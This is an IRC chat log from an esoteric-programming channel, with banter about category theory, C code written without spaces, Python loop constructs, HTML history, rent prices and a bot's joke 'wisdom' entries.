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00:07:05 <boily> Ｈ Ｅ Ｌ Ｌ Ｏ Ｏ Ｃ Ｈ Ａ Ｆ ！
00:07:36 <HackEgo> monomorphism//A monomorphism is just an epimorphism in the opposite category.
00:07:43 <HackEgo> An epimorphism is just a monomorphism in the opposite category.
00:08:12 <shachaf> An isomorphism is just a split epimorphism which is also a monomorphism.
00:08:25 <shachaf> Or: An isomorphism is just a split monomorphism which is also a epimorphism?!
00:09:15 <boily> they're all isomorphic to each other, modulo a natural transformation.
00:12:43 <shachaf> What does that sentence mean?
00:13:23 <boily> it means that's all fungobbledigook to me.
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00:14:51 <boily> `relcome iconmaster
00:14:53 <HackEgo> iconmaster: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/>. (For the other kind of esoterica, try #esoteric on EFnet or DALnet.)
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00:32:21 <HackEgo> finn//Finns are helpful, albeit grossly overpopulated (cf. 'Finland').
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05:13:36 <Jafet> `learn Deep learning applies software engineering principles to AI. A deep learning network has numerous layers and no one understands what any of them do.
05:13:40 <HackEgo> Learned 'deep': Deep learning applies software engineering principles to AI. A deep learning network has numerous layers and no one understands what any of them do.
05:14:01 <Jafet> er, I expected it to deep learn that
05:14:14 <Jafet> `le//rn deep learning//Deep learning applies software engineering principles to AI. A deep learning network has numerous layers and no one understands what any of them do.
05:14:16 <HackEgo> Learned 'deep learning': Deep learning applies software engineering principles to AI. A deep learning network has numerous layers and no one understands what any of them do.
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10:36:01 <oerjan> fizzie: wiki bridge is down
10:39:48 <fizzie> So it is. I wonder if I could set up some automation for it.
10:40:02 <fizzie> Looks like this time it was a reboot: 05:39:40 up 4 days, 9:24, 1 user, load average: 0.25, 0.22, 0.09
10:40:13 <oerjan> seems about time, it's not seemingly about to stop happening.
10:42:26 <fizzie> Maybe I'll try to write a systemd service file for it, I think that should make it start automagically.
10:42:31 <fizzie> But not now, have to get to work.
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11:39:45 <HackEgo> mirth//Mirths are juvenile moths. They giggle a lot.
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11:46:09 <HackEgo> welcome.bork//Velcume-a tu zee interneshunel hoob fur isutereec prugremmeeng lungooege-a deseegn und depluyment! Fur mure-a inffurmeshun, check oooot oooor veeki: <http://isulungs.oorg/>. (Fur zee oozeer keend ooff isutereeca, try #isutereec oon IFnet oor DELnet.)
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16:11:24 <HackEgo> [wiki] [[Brainfuck implementations]] https://esolangs.org/w/index.php?diff=51826&oldid=51817 * AsuMagic * (-11) update ashbf's description
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17:35:04 <Taneb> O(n^2) : quadratic :: O(sqrt(n)) : ???
17:38:19 <Taneb> Any advances on that
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18:07:02 <int-e> . o O ( semi-linear *runs* )
18:07:44 <shachaf> Did you see my post about "nines" of reliability?
18:08:05 <shachaf> They're a logarithmic unit and therefore they should be measured in decibels.
18:08:07 <int-e> Taneb: borrowing from geometry, circumferential (in terms of area) ;-)
18:08:27 <shachaf> -10 dB of unreliability = one "nine" of reliability
18:13:27 <int-e> this seems completely unrelated to blocked clauses
18:17:30 * int-e is looking at SAT solving.
18:18:55 <int-e> And blocked clause elimination is a simplification technique for a set of clauses. And it's also totally unrelated to what you said, just something that's currently on my mind.
18:20:04 <shachaf> I see. I don't know that much about SAT solving techniques.
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18:37:14 <oerjan> <Taneb> O(n^2) : quadratic :: O(sqrt(n)) : ??? <-- radical hth
18:39:29 <Taneb> Doesn't sound right, though, so I'm gonna stick with "proportional to the square root"
18:40:14 <oerjan> it's etymologically right for "root", but adding the square is a bit verbose especially since latin is bad at compounds.
18:42:36 <oerjan> `le/rn SAT solving techniques//There are many SAT solving techniques, but none is completely satisfying.
18:42:50 <HackEgo> Learned 'sat solving techniques': There are many SAT solving techniques, but none is completely satisfying.
18:43:25 <oerjan> `` mv wisdom/'sat solving technique'{s,}
18:43:36 <HackEgo> OLD="wisdom/$1"; [ -z "$1" ] && OLD="$(lastfiles)"; NEW="${OLD}s"; if [ -f "$NEW" ]; then echo "«${NEW}» already exists"; exit 1; fi; mv "$OLD" "$NEW" && echo "«${OLD}» -> «${NEW}»"
18:46:07 <HackEgo> wisdom/sat solving technique//There are many SAT solving techniques, but none is completely satisfying. \ wisdom/sat solving techniques//There are many SAT solving techniques, but none is completely satisfying.
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18:46:47 <HackEgo> lastfiles "$@" | while read f; do echo -n "$f//"; hg cat -r "$(hg log --removed --template '{rev}\n' "$f" | tail -n+2 | head -n1)" "$f"; done
18:47:02 <oerjan> Taneb: i thought none is singular
18:47:26 <oerjan> anyway that's not what wasn't right, but `before
18:47:58 <int-e> oerjan: ITYM satisfactory, hth.
18:48:27 <oerjan> `le/rn SAT solving technique//There are many SAT solving techniques, but none is completely satisfactory.
18:48:29 <HackEgo> Relearned 'sat solving technique': There are many SAT solving techniques, but none is completely satisfactory.
18:49:14 <oerjan> my short term memory gets worse and worse. i truly intended to change that to "are" 20 seconds before i pushed enter.
18:49:32 <Taneb> "It is sometimes held that none can only take a singular verb, never a plural verb: none of them is coming tonight rather than none of them are coming tonight. There is little justification, historical or grammatical, for this view. None is descended from Old English nān meaning ‘not one’ and has been used for around a thousand years with both a singular and a plural verb, depending on the context and the emphasis needed"
18:49:42 <Taneb> I'm used to it taking the plural
18:50:10 <oerjan> `slwd SAT solving technique//s, is, are,
18:50:30 <oerjan> `slwd sat solving technique//s, is, are,
18:50:32 <HackEgo> sat solving technique//There are many SAT solving techniques, but none are completely satisfactory.
18:51:25 <HackEgo> wisdom/sat solving technique//There are many SAT solving techniques, but none is completely satisfactory.
18:53:24 <Taneb> oerjan, I admit my English grammar is probably influenced by a combination of northern English and Australian dialects so may be odd in places
18:55:39 <\oren\> I need a while(){}else{} structure, blah...
18:56:38 <\oren\> if(thing){while(the same thing){}}else{} is ugly
18:57:00 <Taneb> \oren\, just use gotos
18:57:36 <Vorpal> \oren\: I seem to remember seeing some language that had a for ... else construct at least
18:58:06 <Vorpal> Can't remember which one it was
18:58:23 <Vorpal> ruby maybe? Some scripting language that I don't personally no, but I just read about anyway
18:58:44 <Taneb> Vorpal, Python does, I think
18:58:57 <Vorpal> Really? I know python. I thought at least
18:59:24 <int-e> Hmm, but you're treating the failed test in two different ways so it's awkward to implement the for...else thing; it'll either duplicate the test or have an extra boolean variable.
18:59:58 <Vorpal> int-e: well the python for loop is for variable in collection:
19:00:09 <Vorpal> so that doesn't really apply
19:00:22 <Vorpal> I guess it would be if the loop count is zero simply
19:02:22 <Vorpal> int-e: https://gist.github.com/anonymous/4cc8c1f2b9c8c9e88599b2f6de02fc9b
19:03:41 <Vorpal> \oren\: so the answer is: use python
19:03:56 <Vorpal> It would also be reasonably simple in funge-98
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19:09:58 <Vorpal> you could do it via self modifying code
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19:10:26 <Vorpal> assuming you don't need concurrency
19:12:28 <\oren\> https://www.youtube.com/watch?v=o5muHHMWIMc
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19:21:55 <oerjan> i wonder if the forth control flow primitives can do this, some of them apparently work in unusual combinations.
19:27:34 <oerjan> oh hm the problem is that the branch works differently on the first iteration.
19:28:08 <oerjan> so i guess it really _does_ need a flag internally.
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20:34:23 <int-e> izabera: Echo Look is perhaps even more creepy than Faceapp
20:45:35 <int-e> . o O ( who makes furniture sturdy enough to do http://questionablecontent.net/view.php?comic=3469 this? )
21:02:53 <\oren\> "I know what you're thinking. Did I hit space 6 times or only 5? well to tell you the truth, in all this typing, I've kinda lost track myself. but being as this is a bog standard keyboard, the crappiest keyboard in the world, and would not register key presses cleanly, you've got to ask yourself one question: "Do I feel lucky?" well, do ya, punk?" - clint eastwood on python's indentation rules
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21:03:55 <shachaf> Do you indent Python differently from other languages?
21:06:53 -!- `^_^v has quit (Quit: This computer has gone to sleep).
21:09:02 <shachaf> I'm not forced to indent Python differently from the way I indent other languages.
21:09:11 <shachaf> Well, I guess I'm forced to indent Haskell and Python differently.
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21:14:56 <\oren\> well for starters you're forced to indent things at all
21:15:39 <shachaf> Yes, but that's not what I said.
21:16:32 <\oren\> I don't indent anything in bash for example
21:17:50 <\oren\> in python you are forced to indent the body of a class
21:18:09 <shachaf> In bash you can't indent the body of a class.
21:18:24 <\oren\> right but in C++ I don't do that
21:18:52 <izabera> \oren\: humans indent code, usually
21:21:33 <\oren\> int somethingFredDoes(){
21:23:27 <shachaf> You should just run your C++ code through clang-format.
21:26:18 <int-e> what an odd reason for rejecting a programming language
21:28:03 <FireFly> \oren\: use two-space indentation, and the code in your function bodies ends up being indented the same as what you currently have :p
21:29:03 <\oren\> it also is problematic with putting too many spaces inside the code
21:29:42 <izabera> yeah it increases the file size and fills your hard drive
21:29:45 <int-e> hmm, I have (setq python-indent 3)... wonder if I still like that
21:30:00 <fizzie> What an odd number to use.
21:30:10 <int-e> it's a prime choice
21:31:13 <\oren\> and some idiots also do crap like
21:31:31 <fizzie> The canonical justification is, you can find functions...
21:31:37 <int-e> it's so you can grep for a definition of main by ^main, I think
21:31:54 <HackEgo> Since redundancy exists, it's redundant for Taneb to invent it.
21:32:14 <lambdabot> monochrom says: Welcome to #haskell, where your questions are answered in contrapuntal fugues.
21:32:23 <\oren\> the definition of main is at /main.*{$/
21:32:42 <fizzie> That's also the definition of remainder.
21:32:43 <int-e> the { belongs on a seaparate line ;)
21:33:05 <fizzie> Admittedly ^main finds also the function mainstay.
21:33:12 <int-e> (but only for function bodies, not for if-then-else or loops)
21:33:23 <fizzie> This grepping for source code should be obsolete anyway.
21:33:55 <shachaf> fizzie: People should just use codesearch, right?
21:33:59 <int-e> ...; // is what I'd do
21:34:45 <\oren\> char*somefunction(char*arg,int arg2){
21:35:02 <\oren\> spaces only belong in between letters
21:35:12 <int-e> shachaf: at least indent the char **argv properly, if you must use K&R C.
21:35:36 <\oren\> and indentation is tabs only
21:36:09 <int-e> . o O ( I wonder who that \oren\ guy is, has he been here before? )
21:36:32 <fizzie> shachaf: I was looking at Doxygen the other day, I've remembered it being kinda crappy, but it wasn't that bad anymore.
21:36:41 <fizzie> shachaf: They've embraced Markdown and all that.
21:36:54 <shachaf> What's the point of using a documentation generation tool?
21:36:59 <shachaf> You can just read the source code.
21:36:59 <\oren\> why isn't Doxygen an automatic doxxing tool
21:37:04 <fizzie> shachaf: You could even imagine putting .md files sprinkled throughout the code.
21:38:07 <fizzie> Anyway, even disregarding the special documentation comments, it generates a slightly codesearch-like thing if you ask it.
21:38:20 <fizzie> With crossrefs and a file tree and that sort of thing.
21:38:31 <shachaf> For reading the actual code?
21:38:52 <shachaf> Does it search millions of lines of code with regular expressions?
21:38:56 <fizzie> You just say SOURCE_BROWSER = YES and VERBATIM_HEADERS = YES.
21:39:17 <\oren\> so it generates some sort of database
21:39:21 <shachaf> Does it have all sorts of fancy layers?
21:39:28 <fizzie> It doesn't really do that either.
21:39:46 <fizzie> It does have integration with something called htags, which seemed a little grok-like.
21:39:59 <fizzie> GNU GLOBAL, it's called.
21:40:03 <fizzie> I didn't look too closely.
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21:45:12 <\oren\> hey I did figure out something worse
21:45:14 <\oren\> if(x==1)runstuff();else(runotherstuff());
21:45:33 <\oren\> you can avoid spaces in many places by using ()
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21:48:19 <\oren\> int(main)(int(argc),char**argv){
21:48:32 <\oren\> compiles with no warnings on -Wall -Wextra
21:48:50 <shachaf> You know that C++ parsing ambiguity.
21:49:44 <shachaf> https://en.wikipedia.org/wiki/Most_vexing_parse
21:51:58 <\oren\> hmm, https://arin.ga/E3Z9Ll
21:54:22 <\oren\> shachaf: that's not a real url is it
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21:58:22 <\oren\> well, maybe not *technically* but
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21:59:22 <\oren\> https://arin.ga/E3Z9Ll what do you think of this abomination
22:00:24 <wob_jonas> um, what about it? it looks like a simple hello world in C
22:00:31 <\oren\> I was thinking about how to avoid using any spaces
22:00:59 <\oren\> and I realized that int(main)(int(argc),char**argv{) is valid
22:01:04 <wob_jonas> ok... any reason for wanting to avoid them?
22:01:21 <\oren\> Taneb: yeah let's go with that
22:01:30 <wob_jonas> Taneb: nope. I'd replace keyboard immediately
22:01:44 <Taneb> wob_jonas, I do have two backup keyboards, but they are in York
22:01:48 <HackEgo> Taneb is not elliott, no matter whom you ask. He also isn't a rabbi although has pretended in the past. He has at least two backup keyboards with dodgy SHIFT KEys, cube root of nine genders, one of which is a Czech woman, and above average, not too voluminous, but calm eyebrows. He sometimes invents without noticing it (see: tanebventions).
22:02:26 <wob_jonas> I actually bought a temporary keyboard when my previous one broke and the new one I'd ordered from abroad hadn't arrived yet. Used the temp for like two week. I absolutely refuse to use a keyboard with a key broken, or a phone with the screen broken except for emergencies,
22:02:41 -!- `^_^v has quit (Quit: This computer has gone to sleep).
22:03:08 <wob_jonas> and I look down on the lots of people I see in the city that use phones with a broken display, and pretend that they're people who buy expensive phones without being able to afford to replace it when they break.
22:03:30 <\oren\> if(x==1)runstuff();else(runotherstuff());
22:03:55 <wob_jonas> I have the temp keyboard here as a backup, but even if I didn't, I'm in Budapest, so I can just walk in a shop pretty much any time and buy a new temp keyboard.
22:04:13 <Taneb> Anyway, I'm off now
22:04:37 <\oren\> hmm, const(int(x))=1; doesn't seem to work
22:04:59 <wob_jonas> There can be good eso-reasons to avoid using a character (like, you want to embed the code into some other text), but broken keyboard isn't a good one.
22:05:56 <wob_jonas> \oren\: can you afford one space? #define T(x)x and then whenever you'd need a space between foo bar write T(foo)bar instead
22:06:06 <wob_jonas> if not, try to find a macro that's already like that in a library
22:06:19 <wob_jonas> or just use newlines instead of spaces everywhere
22:06:46 <wob_jonas> oh, and there's also always foo/*c*/bar
22:07:00 <wob_jonas> that even works on the define line
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22:07:42 <wob_jonas> can be chained: T(const)T(unsigned)T(long)T(long)T(int)x
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22:08:42 <wob_jonas> if you need it often, define a macro like #define U(x,y,z)x/*c*/y/*c*/z and then you can just U(const,unsigned,long)U(long,int,x);
22:08:54 <wob_jonas> still uglier than just using space, but whatever
22:09:34 <wob_jonas> all this works only in an ANSI compiler, can break in the very ancient ones where comments are handled differently
22:10:37 <wob_jonas> but these days, everyone uses ANSI compilers, it's more like old code that hasn't been updated and requires old practices that's the problem
22:10:55 <wob_jonas> and even that's becoming rarer and rarer
22:14:34 <oerjan> heh PPCG has actual advertisements for Esoteric IDE
22:14:53 <hppavilion[1]> Ah, Programming Puzzles and Code Golf (on Stack Exchange)
22:14:57 <\oren\> hppavilion[1]: based on grammer?
22:15:45 <hppavilion[1]> \oren\: The language would be based on parsing strings, performing actions incidentally
22:16:45 <hppavilion[1]> Like, a truth machine could be encoded as something like "your initial string is 's' and your initial rule is 'main'"
22:19:29 <hppavilion[1]> One option is that main parses one 's' token and incidentally (1) enqueues a new string [when the program finishes parsing, it parses the next string if there is one and ends if there isn't] obtains input (when input is obtained, it's appended to string at the back of the queue)
22:20:00 <hppavilion[1]> Main could alternatively parse one '0' token, which incidentally outputs '0'
22:21:43 <hppavilion[1]> A ONE block parses one '1' token followed by a ONE block and incidentally adds a '1' token and outputs '1'
22:25:17 <\oren\> https://www.youtube.com/watch?v=hG6ZNNWLb6U
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22:37:09 <hppavilion[1]> If we could go back and do it all again; if we wouldn't need to voluntarily abandon decades of permanently-ingrained standards
22:37:21 <hppavilion[1]> I wonder how we could have made the internet work better
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22:39:07 <hppavilion[1]> One of the things I think would have to be done: change our rich text design
22:40:11 <hppavilion[1]> But if you strip away some of the ugly parts- make a more elegant design for the same thing, examine only the pure, idealized syntax of the format; ignore the flesh, look only at the skeleton
22:40:27 <hppavilion[1]> Scrap it entirely, replace it with something half-decent
22:41:37 <int-e> . o O ( "This sentence is false or paradoxical." )
22:42:39 * hppavilion[1] . o O ( Hm, "pure, idealized syntax" was supposed to mean "look at the scheme for the abstract syntax tree" but came out more like "look at XHTML" )
22:43:18 <hppavilion[1]> int-e: Does formal logic provide the capacity to discuss paradoxes?
22:43:28 <int-e> well, foremost, take out all the 5 from HTML5.
22:44:32 <int-e> I don't mind the HTML at all
22:44:49 <int-e> (which is not XML)
22:44:58 <hppavilion[1]> int-e: I hate it. The most annoying part is the abuse of properties on tags
22:45:13 <hppavilion[1]> int-e: Yeah, but it's basically just XML with more freedom to make ugly stuff
22:45:27 <int-e> that's historically backwards though
22:46:00 <int-e> SGML existed before XML. HTML is still a subset of SGML, AFAIK.
22:46:05 <hppavilion[1]> int-e: Wait, I seem to remember that XML is a subset* of SGML and HTML is an abuse of XML
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22:47:15 <hppavilion[1]> I think one of the standard cases I like to point to: <img title="$title" src="$source" [...]/>
22:49:13 <pikhq> Modern HTML is firmly not a subset of SGML.
22:49:24 <pikhq> The HTML5 syntax is similar to SGML, but not SGML.
22:49:43 <pikhq> In large part because no web browsers parsed HTML *as* SGML.
22:50:10 <int-e> pikhq: I wasn't really talking about HTML5.
22:50:26 <pikhq> Pre-HTML5, the spec and the reality were two different subjects entirely.
22:50:47 <pikhq> The spec was, I agree, SGML.
22:51:34 <fizzie> I seem to recall one of the text-oriented browsers was pretty good at those bits of SGML-derived features that looked particularly non-HTMLy.
22:51:49 <int-e> I've heard this rumor that lynx was the only browser that implemented an SGML parser.
22:52:30 <fizzie> I think I was thinking of the SHORTTAG support.
22:52:34 <pikhq> In my admittedly-brief testing, Lynx seemed to be the only browser that implemented an SGML parser.
22:52:50 <pikhq> In that it supported things like SHORTTAGs.
22:53:33 <fizzie> There's an Appendix B.3.3 "SGML features with limited support" in the HTML 4.0 spec, which mentions some of these things.
22:54:05 <pikhq> I'd be unsurprised to discover there's a couple of other obscure browsers that also did it, though.
22:56:38 <hppavilion[1]> And the text in $title has absolutely nothing to do with the rest of the document; you can't even put entities in there iirc
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22:57:43 <HackEgo> icfp//I see functorial people.
22:57:49 <hppavilion[1]> But I think the other major issue with modern markup is that the markup is inextricably baked into the content
22:58:23 <hppavilion[1]> If I want to get the text from a page, I have to get it with everything INCLUDING the markup, then I have to extract the text itself.
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23:00:03 <int-e> hppavilion[1]: I think what happens with that sentence is that "paradoxical" is inherently a meta concept; the term "paradoxical" that appears inside the sentence will not have the same meaning as the term "paradoxical" that one uses when talking about it. For formal logic, note that truth (of a sentence given by its Gödel number) is not expressible in Peano arithmetic, so that will block...
23:00:09 <int-e> ...Gödel-like translations of it.
23:01:01 <hppavilion[1]> And since there's no way to tell what's part of the page's content and what's just there as boilerplate without using heuristics, layout detection, and even (*shiver*) site-specific extractors, you then have to get the things like "Wikipedia, the Free Encyclopedia" and "Read in other languages" and so forth and can't just extract the body
23:01:59 <pikhq> hppavilion[1]: And your best "general" bet is to just use HTML5's semantic tags for that, and give up on things that don't use it (which is most things)
23:02:58 <pikhq> (tags like <article>, which if correctly used tell you what's the "content" of the actual page.)
23:04:10 <int-e> . o O ( <article>The</article> sky is blue. )
23:04:26 <\oren\> the interesting thing though is that although renting in tokyo is roughly 1/3 the price of the same apartment in Toronto, it's only cheaper if you look it up on a japanese web site
23:04:57 <pikhq> That... sounds like typical Japanese racism.
23:05:34 <int-e> or successful capitalism
23:05:39 <\oren\> nah, I think the cheap ones just don't bother
23:05:41 <shachaf> What is the price in Toronto?
23:06:02 <\oren\> a bachelor pad in toronto, even in a shit location, is >1000 CAD
23:06:06 -!- hppavilion[1] has quit (Ping timeout: 260 seconds).
23:06:21 <\oren\> one bedroom, one bathroom
23:06:47 <\oren\> smallest possible option
23:06:47 <shachaf> The bedroom is a separate room? Or is it a "studio"?
23:06:55 <boily> he\\oren\. bletch!
23:07:05 <shachaf> Anyway 1000CAD sounds cheap around here.
23:07:41 <boily> that's horribly expensive! rent here is CAD 610/mo for a 3½.
23:07:44 <\oren\> ...and it isn't even really in toronto, it's up in north york
23:08:00 <pikhq> That'd be pricy *here*, but I'm also in a saner real estate market than Toronto or SF.
23:08:07 <\oren\> downtown toronto is like 3000
23:08:45 <pikhq> shachaf's in an area where to get to 1000 USD you'd need to be, what, 100 miles out?
23:09:01 <pikhq> I may exaggerate a bit.
23:10:10 <shachaf> I pay <$1500/month for a 1br apartment ~700m from BART.
23:10:11 <pikhq> Oh, right, East Bay. Bit easier getting to a saner real estate market over there. There's rather a lot less bay in the way.
23:10:34 <pikhq> Also, higher distance from SV.
23:10:36 <\oren\> anyway, meanwhile I'm looking at apartments in the centre of tokyo, 3 minutes from train stations, 3.3万円
23:10:45 <shachaf> (Which is a pretty good price for the area. Mildly scow apartment, perhaps, but the location is good.)
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23:11:35 <\oren\> which is roughly 330 CAD a month. so WTF
23:12:25 <\oren\> if I have to move out of my parents's house I'mma ask for a transfer to tokyo
23:12:26 <pikhq> From what I recall, Tokyo is rather remarkable for having managed to be a massive, dense city that *doesn't* refuse to build enough to meet demand.
23:13:09 <shachaf> How much is that in lakh INR?
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23:13:40 <\oren\> pikhq: it's cheaper than both SF and Toronto, *and* you don't need to own a car
23:13:41 <shachaf> Didn't Tokyo build more housing one year recently than all of England?
23:14:08 <pikhq> \oren\: Of course, that's a *low bar*. :)
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23:14:33 <\oren\> I don't ever plan on owning a car
23:14:46 <shachaf> imo why not make more money instead of moving somewhere cheaper hth
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23:17:46 <\oren\> http://knowyourmeme.com/memes/why-not-both-why-dont-we-have-both
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23:20:22 <boily> fungot: litagano motscoud.
23:20:22 <fungot> boily: in different bits. instructions may interpret the bits however they please. it's a true pain to try to become so knowledgable about unicode?
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23:20:56 <shachaf> pikhq: east bay? more like best bay
23:22:27 <shachaf> \oren\: Why not both, indeed?
23:24:03 <shachaf> But what if you can only do one or the other?
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23:29:11 <shachaf> What if income and expenses are linearly related?
23:29:19 <shachaf> Then you should go for expensive.
23:31:08 <\oren\> I suppose, depending on the other variables such as convenience, safety etc.
23:35:04 <\oren\> I mena if you have a 1 hour commute that is effectively dividing your salary by 1.25
23:35:28 <\oren\> if it's two hours then 1.5
23:36:04 <\oren\> if you have to own a car, then that subtracts as well, plus the inconvenience of having to learn to drive a car
23:36:14 <shachaf> Unless you work during your commute, I guess.
23:36:37 <shachaf> I don't know that 1.25 is the right factor, but it's certainly something to consider.
23:37:28 <\oren\> well, one hour each way is 2 hours+ 8 hour workday = 10 divided by 8 = 1.25 right?
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23:38:17 <shachaf> If you want to measure your workday as 8 hours.
23:40:29 <\oren\> and why are they sending me spam
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23:51:30 <\oren\> align me with a technical resource? WTF DOES THAT MEAN
23:53:21 <\oren\> is thise person trying to say "give me the url of a manual"
23:53:29 <HackEgo> \oren\ is an attempt to improve upon oren. The only thing it actually improved was name recognizability, and it made everything else... unenthickenable, eh?
23:53:50 <\oren\> or "give me the email of tech support"
23:54:03 <boily> do you consider yourself well-aligned?
23:54:50 <oerjan> i dunno, he looks a bit slanted
23:55:07 * boily diagonally mapoles oerjan
23:55:26 <\oren\> or maybe it means "give me the email of a software engineer"
23:57:25 <\oren\> the full sentence is: I'd love to see if there is a technology fit for us to work together. Please let me know; I'd be happy to align you with a technical resource.
23:58:01 <\oren\> and I just. have no idea what this is supposed to mean
00:01:37 <oerjan> he is buzzword-aligned hth
00:02:25 <boily> Synergistic Paradigmatic Automatic \oren\.
00:02:38 <boily> (that's a capital “\”)
00:06:13 <HackEgo> \ was initially popular as a replacement for the solidus, but inevitably there was a backslash.
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00:22:46 <HackEgo> `# <comment>//`<command> is useful if you want to add a comment to HackEgo history for things like `sled or `le/rn.
00:23:04 <HackEgo> ` is the prefix to greatness.
00:23:51 <HackEgo> ! is a syntax used in Haskell and Prolog for solving evaluation order problems.
00:24:03 <boily> I never got the hang of “!”.
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00:36:23 <boily> all punctuation aren't wise.
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01:19:48 <boily> italic s, small }, pointy knife blade???
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03:24:21 <\oren\> No I have been online the whole time
03:25:27 <HackEgo> U+1046D SHAVIAN LETTER AH \ UTF-8: f0 90 91 ad UTF-16BE: d801dc6d Decimal: 𐑭 \ 𐑭 \ Category: Lo (Letter, Other) \ Bidi: L (Left-to-Right) \ \ U+10476 SHAVIAN LETTER OIL \ UTF-8: f0 90 91 b6 UTF-16BE: d801dc76 Decimal: 𐑶 \ 𐑶 \ Category: Lo (Letter, Other) \ Bidi: L (Left-to-Right) \ \ U+16A4 RUNIC LETTER Y \ UTF-8: e1 9a a4
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03:49:20 <Jafet> `le/rn double dactyl//Curious spurious verse form, ostensibly catchy to hear but herculean to write. Sadly its bent on the sesquipedalian makes double dactyls pretentious and trite.
03:49:23 <HackEgo> Learned 'double dactyl': Curious spurious verse form, ostensibly catchy to hear but herculean to write. Sadly its bent on the sesquipedalian makes double dactyls pretentious and trite.
03:50:11 <HackEgo> [wiki] [[Talk:Entfedern]] https://esolangs.org/w/index.php?diff=51827&oldid=19086 * Camto * (+118)
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06:29:12 <zzo38> The king is allergic to beholders and wants to destroy all of the beholders in the city. However, only half of them have done anything wrong. Identify the problem.
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06:34:15 <shachaf> the king is the problem. hth
06:35:58 <zzo38> Perhaps, although that is not the intended answer. People can come up with all kind of answers (I have even heard "the king should be more kindly to butterflies", but what does that have anything to do with it?), although I have my own answer too.
06:36:15 <shachaf> Is your own answer the intended answer?
06:37:11 <zzo38> Yes, that is what I meant.
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07:24:16 <\oren\> http://www.unicode.org/charts/PDF/Unicode-10.0/U100-1B000.pdf
07:24:36 <\oren\> They added HENTAIGANA to the unicode
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07:34:06 <pikhq> Oh, huh. I didn't expect that.
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07:48:16 <izabera> https://mathoverflow.net/questions/268222/tweetable-mathematics
08:01:47 <Jafet> `` unicode calligraphic | wc
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08:39:10 <HackEgo> [wiki] [[Deadfish]] https://esolangs.org/w/index.php?diff=51828&oldid=50915 * Zzo38 * (+491)
08:39:25 <zzo38> Now I added a Deadfish implementation in TAVERN.
08:40:10 <zzo38> (for use with the standard compiler. Other compilers that do not use this syntax are possible too, although so far none others exist as far as I know.)
08:44:24 <zzo38> You could make it implement the xkcd variation as well as normal way by changing :: VALUE INCR ; VOCAB I to :: VALUE INCR ; DUP VOCAB I VOCAB X and so on.
08:46:06 <zzo38> Yes, it is a Forth-like system
08:50:35 <zzo38> Note that vocabulary lookup is case-insensitive in TAVERN, so you can enter the commands in either uppercase or in lowercase at runtime. (This is not true at compile time, however.)
08:52:28 <zzo38> Also, this program is only supporting 16-bit numbers (because TAVERN uses 16-bit numbers).
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10:27:47 <HackEgo> Curious spurious verse form, ostensibly catchy to hear but herculean to write. Sadly its bent on the sesquipedalian makes double dactyls pretentious and trite.
10:28:25 <oerjan> Jafet: are you making that almost but not quite self-referential on purpose?
10:29:24 <HackEgo> hppavilion1:higgledy piggledy / hp pavilion / doesn't like jokes that are / written in text; // uncontroversially, / one in a million is / roughly the chance they won't / be left perplexed
10:29:55 <oerjan> or wait maybe it does fit
10:30:57 <oerjan> herculean seems strained.
10:32:39 <oerjan> i don't think it fits all the rules, anyhow.
10:38:23 <zzo38> The standard library for the TAVERN compiler can be found at: http://zzo38computer.org/fossil/tavern.ui/artifact/57bc79bcd68524cd or http://zzo38computer.org/fossil/tavern.ui/raw/standard.inc?name=57bc79bcd68524cdb30cd9eb8ee796fe5516c8a8 This implements everything in the compiler that isn't primitive (including flow-controls and even colon definitions), and can be look even if you want to see how it is done or how stuff might be written in TAVE
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11:43:00 <Jafet> `le/rn double dactyl//Curious spurious juvenile poetry that is supposedly tricky to write, but its obsession with sesquipedality makes double dactyls quite gaudy and trite.
11:43:02 <HackEgo> Relearned 'double dactyl': Curious spurious juvenile poetry that is supposedly tricky to write, but its obsession with sesquipedality makes double dactyls quite gaudy and trite.
11:47:48 <oerjan> now "supposedly" seems to have the wrong number of syllables.
11:58:33 <Jafet> it has four syllables, supposedly
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12:13:13 <Jafet> also other forms are less encumbered by rules
12:13:55 <Jafet> most people find poetry difficult / and rhymes are particularly fickle / let's not even mention / getting proper scansion / no wonder cheap haikus are typical
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16:02:35 <wob_jonas> I'm trying to remove the nut from the screw that's holding the toilet seat hinge to the toilet. Was trivial on one side, but on the other side I can't get close because the toilet is too close to the corner of the walls.
16:07:06 <wob_jonas> It's a plastic nut on a metal screw, so I might try to force it with tools, if the nut breaks I can just get it off probably.
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16:17:11 <wob_jonas> now for the harder part: I have to install the new seat
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16:31:46 <wob_jonas> done. yay! I'm a home improvement initiate!
16:31:54 <wob_jonas> I wonder how much XP I get for this
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16:35:39 <HackEgo> U+00B2 SUPERSCRIPT TWO \ UTF-8: c2 b2 UTF-16BE: 00b2 Decimal: ² \ ² \ Category: No (Number, Other) \ Numeric value: 2 \ Digit value: 2 \ Bidi: EN (European Number) \ Decomposition: <super> 0032 \ \ U+00B3 SUPERSCRIPT THREE \ UTF-8: c2 b3 UTF-16BE: 00b3 Decimal: ³ \ ³ \ Category: No (Number, Other) \ Numeric value: 3 \ Digit value:
16:36:04 <HackEgo> U+1D504 MATHEMATICAL FRAKTUR CAPITAL A \ UTF-8: f0 9d 94 84 UTF-16BE: d835dd04 Decimal: 𝔄 \ 𝔄 \ Category: Lu (Letter, Uppercase) \ Bidi: L (Left-to-Right) \ Decomposition: <font> 0041 \ \ U+1D505 MATHEMATICAL FRAKTUR CAPITAL B \ UTF-8: f0 9d 94 85 UTF-16BE: d835dd05 Decimal: 𝔅 \ 𝔅 \ Category: Lu (Letter, Uppercase) \ Bidi
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18:28:25 <\oren\> https://github.com/alerj78/lucky7coin/issues/1
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18:40:44 <izabera> http://www.cbsnews.com/news/crash-test-dummies-getting-heavier-realistic-american-sizes/ lol
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18:42:27 <int-e> does that mean cars will no longer be safe for normal (medically speaking, so decidedly not "average") weight people? I seem to recall that we already have this problem for smaller than average people.
18:43:27 <int-e> (And I guess larger than average too? Hmm. I have no source though, it's more of a vague memory, could be imagination.)
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18:51:38 <\oren\> int-e: I assume that people with less inertia will slow down faster?
18:51:54 <\oren\> and this may cause g-force damage?
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19:06:38 <HackEgo> The password of the month is bad
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20:06:59 <HackEgo> Uninstalling software installed by the Wise Installation Wizard is unwise. It's neither clockwise nor counterclockwise nor otherwise.
